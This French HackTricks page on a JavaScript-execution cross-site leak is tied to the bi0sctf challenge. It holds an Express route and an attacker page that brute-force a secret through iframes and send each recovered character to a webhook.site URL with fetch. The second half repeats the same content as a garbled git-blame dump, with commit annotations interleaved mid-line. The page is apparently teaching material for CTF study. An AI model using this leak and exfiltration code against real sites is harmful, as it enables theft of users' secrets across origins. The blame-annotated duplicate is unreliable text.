hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

# Exécution JavaScript XS Leak

{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Soutenir HackTricks</summary>

* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.

</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
```
Page principale qui génère des iframes vers la page `/guessing` précédente pour tester chaque possibilité
```html
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1

let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}

//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Soutenir HackTricks</summary>

* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.

</details>
{% endhint %}
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`# Exécution JavaScript XS Leak`

			`{% hint style="success" %}`
			`Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Formation AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Formation GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`<details>`

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`<summary>Soutenir HackTricks</summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`* Consultez les [plans d'abonnement](https://github.com/sponsors/carlospolop) !`
			`* Rejoignez le 💬 [groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou suivez nous sur Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Partagez des astuces de hacking en soumettant des PRs aux [HackTricks](https://github.com/carlospolop/hacktricks) et [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) dépôts github.`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`{% endhint %}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			```javascript
			`// Code that will try ${guess} as flag (need rest of the server code`
			`app.get('/guessing', function(req, res) {`
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:40:52 +00:00			`let guess = req.query.guess`
			let page = `<html>
			`<head>`
			`<script>`
			`function foo() {`
			`// If not the flag this will be executed`
			`window.parent.foo()`
			`}`
			`</script>`
			`<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>`
			`</head>`
			`<p>hello2</p>`
			</html>`
			`res.send(page)`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`});`
			```
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			Page principale qui génère des iframes vers la page `/guessing` précédente pour tester chaque possibilité
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			```html
			`<html>`
			`<head>`
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:40:52 +00:00			`<script>`
			`let candidateIsGood = false;`
			`let candidate = ''`
			`let flag = 'bi0sctf{'`
			`let guessIndex = -1`

			`let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:40:52 +00:00			`// this will get called from our iframe IF the candidate is WRONG`
			`function foo() {`
			`candidateIsGood = false`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:40:52 +00:00			`timerId = setInterval(() => {`
			`if (candidateIsGood) {`
			`flag = candidate`
			`guessIndex = -1`
			`fetch('https://webhook.site/<yours-goes-here>?flag='+flag)`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:40:52 +00:00			`//Start with true and will be change to false if wrong`
			`candidateIsGood = true`
			`guessIndex++`
			`if (guessIndex >= flagChars.length) {`
			`fetch('https://webhook.site/<yours-goes-here>')`
			`return`
			`}`
			`let guess = flagChars[guessIndex]`
			`candidate = flag + guess`
			let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
			`console.log('iframe: ', iframe)`
			`hack.innerHTML = iframe`
			`}`
			`, 500);`
			`</script>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`</head>`
			`<p>hello</p>`
			`<div id="hack">`
			`</div>`
			`</html>`
			```
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`{% hint style="success" %}`
			`Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Formation Expert Red Team AWS (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Formation Expert Red Team GCP (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`<details>`

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`<summary>Soutenir HackTricks</summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`* Consultez les [plans d'abonnement](https://github.com/sponsors/carlospolop)!`
			`* Rejoignez le 💬 [groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou suivez nous sur Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Partagez des astuces de hacking en soumettant des PRs aux [HackTricks](https://github.com/carlospolop/hacktricks) et [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) dépôts github.`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00			`{% endhint %}`